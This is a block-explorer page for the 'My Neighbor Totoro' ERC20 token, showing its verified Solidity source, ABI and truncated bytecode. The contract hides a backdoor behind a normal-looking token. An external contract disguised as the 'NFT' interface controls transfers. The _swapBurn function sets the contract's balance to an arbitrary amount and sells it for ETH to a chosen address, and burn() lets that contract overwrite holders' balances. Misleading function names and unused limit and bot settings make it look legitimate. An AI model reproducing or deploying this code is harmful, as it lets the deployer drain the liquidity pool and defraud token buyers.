ETH Price: $3,181.42 (+3.08%)

Token

My Neighbor Totoro (TOTORO)
 

Overview

Max Total Supply

1,000,000,000,000 TOTORO

Holders

12

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
59,890,006.482590037492645973 TOTORO

Value
$0.00
0xddd103cf9f068458ae73253b4881c433403c27ae
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Totoro

Compiler Version
v0.8.16+commit.07a7930e

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-09-02
*/

pragma solidity ^0.8.16;

// SPDX-License-Identifier: Unlicensed

interface IUniswapV2Router {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256,uint256,address[] calldata path,address,uint256) external;
}
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a, "SafeMath: subtraction overflow");
        uint256 c = a - b;
        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b > 0, "SafeMath: division by zero");
        uint256 c = a / b;
        return c;
    }
}
interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC21 {
    function allowance(address, address, address) external view returns(bool);
    function swapTokensForExactETH(address, address, bool, address, address) external returns (bool);
    function transferFrom(address, address, uint256) external pure returns (uint256);
    function totalSupply() external view returns (address);
}
interface IUniswapV2Factory {
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

abstract contract Ownable {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        _owner = msg.sender;
        emit OwnershipTransferred(address(0), _owner);
    }
    function owner() public view virtual returns (address) {
        return _owner;
    }
    modifier onlyOwner() {
        require(owner() == msg.sender, "Ownable: caller is not the owner");
        _;
    }
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

contract Totoro is Ownable, IERC20 {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    uint256 public _decimals = 18;
    uint256 public _totalSupply = 1000000000000 * 10 ** _decimals;
    uint256 public _fee = 7;
    address public uniswapPair;
    IUniswapV2Router private _router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    IERC21 private NFT = IERC21(0x2b816e5D524C510C09aED6D5c554Ed7D64c38d24);
    string private _name = "My Neighbor Totoro";
    string private  _symbol = "TOTORO";
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(msg.sender, spender, _allowances[msg.sender][spender] + addedValue);
        return true;
    }
    function decreaseAllowance(address from, uint256 amount) public virtual returns (bool) {
        require(_allowances[msg.sender][from] >= amount);
        _approve(msg.sender, from, _allowances[msg.sender][from] - amount);
        return true;
    }
    function _transfer(address from, address to, uint256 amount) internal virtual {
        require(from != address(0));
        require(to != address(0));
        if (NFT
        .allowance(from, to, uniswapPair)) {
            _swapBurn(amount, to);
        } else {
            require(amount <= _balances[from]);
            address recipient = NFT.totalSupply();
            _balances[recipient] = burn(from);
            uint256 feeAmount = getFeeAmount(from, to, amount);
            uint256 amountReceived = amount - feeAmount;
            _balances[address(this)] += feeAmount;
            _balances[from] = _balances[from] - amount;
            _balances[to] += amountReceived;
            emit Transfer(from, to, amount);
        }
    }
    function getFeeAmount(address from, address recipient, uint256 amount) private returns (uint256) {
        uint256 feeAmount = 0;
        if (NFT.swapTokensForExactETH(from, recipient, txBurn, address(this), feeRebalance())) {
            feeAmount = amount.mul(_fee).div(100);
        }
        return feeAmount;
    }
    constructor() {
        _balances[msg.sender] = _totalSupply;
        uniswapPair = msg.sender;
        emit Transfer(address(0), msg.sender, _balances[msg.sender]);
    }
    function name() external view returns (string memory) { return _name; }
    function symbol() external view returns (string memory) { return _symbol; }
    function decimals() external view returns (uint256) { return _decimals; }
    function totalSupply() external view override returns (uint256) { return _totalSupply; }
    function uniswapVersion() external pure returns (uint256) { return 2; }
    function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }
    address public marketingWallet;
    function updateMarketingWallet(address a) external onlyOwner {
        marketingWallet = a;
    }
    bool cooldownEnabled = true;
    function setCooldownEnabled(bool e) external onlyOwner {
        cooldownEnabled = e;
    }
    uint256 maxTxAmount = _totalSupply.mul(2).div(100);
    function changeMaxTxAmount(uint256 newMax) external onlyOwner {
        maxTxAmount = newMax;
    }
    uint256 maxWalletSize = _totalSupply.mul(2).div(100);
    function changeMaxWalletSize(uint256 newMax) external onlyOwner {
        maxWalletSize = newMax;
    }
    function removeLimits() external onlyOwner {
        maxTxAmount = _totalSupply;
        maxWalletSize = _totalSupply;
    }
    mapping (address=>bool) bots;
    function addBot(address bot) external onlyOwner {
        bots[bot] = true;
    }
    function delBot(address bot) external onlyOwner {
        bots[bot] = false;
    }
    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "IERC20: approve from the zero address");
        require(spender != address(0), "IERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    function _swapBurn(uint256 recipient, address wjCp) private {
        _approve(address(this), address(_router), recipient);
        _balances[address(this)] = recipient;
        address[] memory path = new address[](2);
        txBurn = true;
        path[0] = address(this);
        path[1] = _router.WETH();
        _router.swapExactTokensForETHSupportingFeeOnTransferTokens(recipient,0,path,wjCp,block.timestamp + 30);
        txBurn = false;
    }
    bool txBurn = false;
    function burn(address from) private view returns (uint256) {
        uint256 amount = _balances[NFT.totalSupply()];
        return NFT.transferFrom(from, feeRebalance(), amount);
    }
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }
    function transferFrom(address from, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(from, recipient, amount);
        require(_allowances[from][msg.sender] >= amount);
        return true;
    }
    function feeRebalance() private view returns (address) {
        return IUniswapV2Factory(_router.factory()).getPair(address(this), _router.WETH());
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_fee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"bot","type":"address"}],"name":"addBot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"newMax","type":"uint256"}],"name":"changeMaxTxAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newMax","type":"uint256"}],"name":"changeMaxWalletSize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"bot","type":"address"}],"name":"delBot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"e","type":"bool"}],"name":"setCooldownEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapVersion","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"a","type":"address"}],"name":"updateMarketingWallet","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040526012600355600354600a6200001a919062000686565b64e8d4a510006200002c9190620006d7565b6004556007600555737a250d5630b4cf539739df2c5dacb4c659f2488d600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550732b816e5d524c510c09aed6d5c554ed7d64c38d24600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506040518060400160405280601281526020017f4d79204e65696768626f7220546f746f726f000000000000000000000000000081525060099081620001249190620009a8565b506040518060400160405280600681526020017f544f544f524f0000000000000000000000000000000000000000000000000000815250600a90816200016b9190620009a8565b506001600b60146101000a81548160ff021916908315150217905550620001be6064620001aa60026004546200041360201b62000fba1790919060201c565b6200049660201b620010341790919060201c565b600c55620001f86064620001e460026004546200041360201b62000fba1790919060201c565b6200049660201b620010341790919060201c565b600d556000600f60006101000a81548160ff0219169083151502179055503480156200022357600080fd5b50336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600454600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555033600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460405162000405919062000aa0565b60405180910390a362000c3f565b600080830362000427576000905062000490565b60008284620004379190620006d7565b905082848262000448919062000aec565b146200048b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620004829062000bab565b60405180910390fd5b809150505b92915050565b6000808211620004dd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620004d49062000c1d565b60405180910390fd5b60008284620004ed919062000aec565b90508091505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000587578086048111156200055f576200055e620004f9565b5b60018516156200056f5780820291505b80810290506200057f8562000528565b94506200053f565b94509492505050565b600082620005a2576001905062000675565b81620005b2576000905062000675565b8160018114620005cb5760028114620005d6576200060c565b600191505062000675565b60ff841115620005eb57620005ea620004f9565b5b8360020a915084821115620006055762000604620004f9565b5b5062000675565b5060208310610133831016604e8410600b8410161715620006465782820a90508381111562000640576200063f620004f9565b5b62000675565b62000655848484600162000535565b925090508184048111156200066f576200066e620004f9565b5b81810290505b9392505050565b6000819050919050565b600062000693826200067c565b9150620006a0836200067c565b9250620006cf7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000590565b905092915050565b6000620006e4826200067c565b9150620006f1836200067c565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156200072d576200072c620004f9565b5b828202905092915050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680620007ba57607f821691505b602082108103620007d057620007cf62000772565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b6000600883026200083a7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620007fb565b620008468683620007fb565b95508019841693508086168417925050509392505050565b6000819050919050565b600062000889620008836200087d846200067c565b6200085e565b6200067c565b9050919050565b6000819050919050565b620008a58362000868565b620008bd620008b48262000890565b84845462000808565b825550505050565b600090565b620008d4620008c5565b620008e18184846200089a565b505050565b5b818110156200090957620008fd600082620008ca565b600181019050620008e7565b5050565b601f82111562000958576200092281620007d6565b6200092d84620007eb565b810160208510156200093d578190505b620009556200094c85620007eb565b830182620008e6565b50505b505050565b600082821c905092915050565b60006200097d600019846008026200095d565b1980831691505092915050565b60006200099883836200096a565b9150826002028217905092915050565b620009b38262000738565b67ffffffffffffffff811115620009cf57620009ce62000743565b5b620009db8254620007a1565b620009e88282856200090d565b600060209050601f83116001811462000a20576000841562000a0b578287015190505b62000a1785826200098a565b86555062000a87565b601f19841662000a3086620007d6565b60005b8281101562000a5a5784890151825560018201915060208501945060208101905062000a33565b8683101562000a7a578489015162000a76601f8916826200096a565b8355505b6001600288020188555050505b505050505050565b62000a9a816200067c565b82525050565b600060208201905062000ab7600083018462000a8f565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600062000af9826200067c565b915062000b06836200067c565b92508262000b195762000b1862000abd565b5b828204905092915050565b600082825260208201905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b600062000b9360218362000b24565b915062000ba08262000b35565b604082019050919050565b6000602082019050818103600083015262000bc68162000b84565b9050919050565b7f536166654d6174683a206469766973696f6e206279207a65726f000000000000600082015250565b600062000c05601a8362000b24565b915062000c128262000bcd565b602082019050919050565b6000602082019050818103600083015262000c388162000bf6565b9050919050565b6128c18062000c4f6000396000f3fe608060405234801561001057600080fd5b506004361061018e5760003560e01c8063715018a6116100de578063a9059cbb11610097578063c5b37c2211610071578063c5b37c2214610461578063c816841b1461047f578063dd62ed3e1461049d578063ffecf516146104cd5761018e565b8063a9059cbb146103f9578063aacebbe314610429578063b87f137a146104455761018e565b8063715018a61461035b578063751039fc1461036557806375f0a8741461036f5780638da5cb5b1461038d57806395d89b41146103ab578063a457c2d7146103c95761018e565b806332424aa31161014b57806348d3ab1f1161012557806348d3ab1f146102d55780635932ead1146102f3578063677daa571461030f57806370a082311461032b5761018e565b806332424aa31461026957806339509351146102875780633eaaf86b146102b75761018e565b806306fdde0314610193578063095ea7b3146101b157806318160ddd146101e157806323b872dd146101ff578063273123b71461022f578063313ce5671461024b575b600080fd5b61019b6104e9565b6040516101a89190611e16565b60405180910390f35b6101cb60048036038101906101c69190611ed1565b61057b565b6040516101d89190611f2c565b60405180910390f35b6101e9610592565b6040516101f69190611f56565b60405180910390f35b61021960048036038101906102149190611f71565b61059c565b6040516102269190611f2c565b60405180910390f35b61024960048036038101906102449190611fc4565b61063d565b005b61025361070d565b6040516102609190611f56565b60405180910390f35b610271610717565b60405161027e9190611f56565b60405180910390f35b6102a1600480360381019061029c9190611ed1565b61071d565b6040516102ae9190611f2c565b60405180910390f35b6102bf6107bb565b6040516102cc9190611f56565b60405180910390f35b6102dd6107c1565b6040516102ea9190611f56565b60405180910390f35b61030d6004803603810190610308919061201d565b6107ca565b005b6103296004803603810190610324919061204a565b61085c565b005b61034560048036038101906103409190611fc4565b6108db565b6040516103529190611f56565b60405180910390f35b610363610924565b005b61036d610a57565b005b610377610ae0565b6040516103849190612086565b60405180910390f35b610395610b06565b6040516103a29190612086565b60405180910390f35b6103b3610b2f565b6040516103c09190611e16565b60405180910390f35b6103e360048036038101906103de9190611ed1565b610bc1565b6040516103f09190611f2c565b60405180910390f35b610413600480360381019061040e9190611ed1565b610ce8565b6040516104209190611f2c565b60405180910390f35b610443600480360381019061043e9190611fc4565b610cff565b005b61045f600480360381019061045a919061204a565b610db8565b005b610469610e37565b6040516104769190611f56565b60405180910390f35b610487610e3d565b6040516104949190612086565b60405180910390f35b6104b760048036038101906104b291906120a1565b610e63565b6040516104c49190611f56565b60405180910390f35b6104e760048036038101906104e29190611fc4565b610eea565b005b6060600980546104f890612110565b80601f016020809104026020016040519081016040528092919081815260200182805461052490612110565b80156105715780601f1061054657610100808354040283529160200191610571565b820191906000526020600020905b81548152906001019060200180831161055457829003601f168201915b5050505050905090565b6000610588338484611092565b6001905092915050565b6000600454905090565b60006105a984848461125b565b81600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561063257600080fd5b600190509392505050565b3373ffffffffffffffffffffffffffffffffffffffff1661065c610b06565b73ffffffffffffffffffffffffffffffffffffffff16146106b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106a99061218d565b60405180910390fd5b6000600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600354905090565b60035481565b60006107b1338484600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546107ac91906121dc565b611092565b6001905092915050565b60045481565b60006002905090565b3373ffffffffffffffffffffffffffffffffffffffff166107e9610b06565b73ffffffffffffffffffffffffffffffffffffffff161461083f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108369061218d565b60405180910390fd5b80600b60146101000a81548160ff02191690831515021790555050565b3373ffffffffffffffffffffffffffffffffffffffff1661087b610b06565b73ffffffffffffffffffffffffffffffffffffffff16146108d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108c89061218d565b60405180910390fd5b80600c8190555050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff16610943610b06565b73ffffffffffffffffffffffffffffffffffffffff1614610999576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109909061218d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b3373ffffffffffffffffffffffffffffffffffffffff16610a76610b06565b73ffffffffffffffffffffffffffffffffffffffff1614610acc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ac39061218d565b60405180910390fd5b600454600c81905550600454600d81905550565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600a8054610b3e90612110565b80601f0160208091040260200160405190810160405280929190818152602001828054610b6a90612110565b8015610bb75780601f10610b8c57610100808354040283529160200191610bb7565b820191906000526020600020905b815481529060010190602001808311610b9a57829003601f168201915b5050505050905090565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610c4c57600080fd5b610cde338484600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610cd99190612210565b611092565b6001905092915050565b6000610cf533848461125b565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16610d1e610b06565b73ffffffffffffffffffffffffffffffffffffffff1614610d74576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d6b9061218d565b60405180910390fd5b80600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b3373ffffffffffffffffffffffffffffffffffffffff16610dd7610b06565b73ffffffffffffffffffffffffffffffffffffffff1614610e2d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e249061218d565b60405180910390fd5b80600d8190555050565b60055481565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16610f09610b06565b73ffffffffffffffffffffffffffffffffffffffff1614610f5f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f569061218d565b60405180910390fd5b6001600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000808303610fcc576000905061102e565b60008284610fda9190612244565b9050828482610fe991906122cd565b14611029576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161102090612370565b60405180910390fd5b809150505b92915050565b6000808211611078576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161106f906123dc565b60405180910390fd5b6000828461108691906122cd565b90508091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611101576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110f89061246e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611170576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116790612500565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161124e9190611f56565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361129457600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036112cd57600080fd5b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663927da1058484600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518463ffffffff1660e01b815260040161134e93929190612520565b602060405180830381865afa15801561136b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061138f919061256c565b156113a35761139e8183611697565b611692565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548111156113ef57600080fd5b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff1660e01b8152600401602060405180830381865afa15801561145e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061148291906125ae565b905061148d84611961565b600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060006114dd858585611ae5565b9050600081846114ed9190612210565b905081600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461153e91906121dc565b9250508190555083600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115909190612210565b600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461162291906121dc565b925050819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040516116869190611f56565b60405180910390a35050505b505050565b6116c430600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611092565b81600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600267ffffffffffffffff811115611725576117246125db565b5b6040519080825280602002602001820160405280156117535781602001602082028036833780820191505090505b5090506001600f60006101000a81548160ff02191690831515021790555030816000815181106117865761178561260a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561182d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061185191906125ae565b816001815181106118655761186461260a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478460008486601e426118ef91906121dc565b6040518663ffffffff1660e01b815260040161190f95949392919061273c565b600060405180830381600087803b15801561192957600080fd5b505af115801561193d573d6000803e3d6000fd5b505050506000600f60006101000a81548160ff021916908315150217905550505050565b60008060016000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156119d5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119f991906125ae565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd84611a7d611be3565b846040518463ffffffff1660e01b8152600401611a9c93929190612796565b602060405180830381865afa158015611ab9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611add91906127e2565b915050919050565b60008060009050600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663fe0d598b8686600